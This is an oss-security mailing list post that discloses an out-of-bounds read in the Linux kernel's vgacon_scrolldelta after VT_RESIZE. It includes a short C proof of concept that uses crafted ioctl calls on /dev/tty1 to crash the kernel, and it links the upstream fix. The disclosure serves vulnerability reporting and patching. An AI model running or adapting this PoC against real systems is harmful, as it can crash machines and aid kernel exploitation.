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Date: Wed, 16 Sep 2020 16:19:46 +0800
From: NopNop Nop <nopitydays@...il.com>
To: oss-security@...ts.openwall.com
Subject: Linux Kernel: out-of-bounds reading in vgacon_scrolldelta

Hi,

We found a out-of-bounds reading in vgacon_scrolldelta. This BUG is caused
by "soff" being negative after VT_RESIZE.

Our PoC (panic with CONFIG_KASAN=y):

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>

int main(int argc, char** argv)
{
        int fd = open("/dev/tty1", O_RDWR, 0);

        unsigned short size[3] = {4, 0x254, 0};
        ioctl(fd, 0x5609, size);

        for (int i = 0; i < 110; i++) {
                write(fd, "\x0a", 1);
        }
        signed int args[3] = {13, -0x400, 0};
        ioctl(fd, 0x541c, args);
}

Here is the commit to patch this BUG:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=973c096f6a85e5b5f2a295126ba6928d9a6afd45

Regards,
Nop

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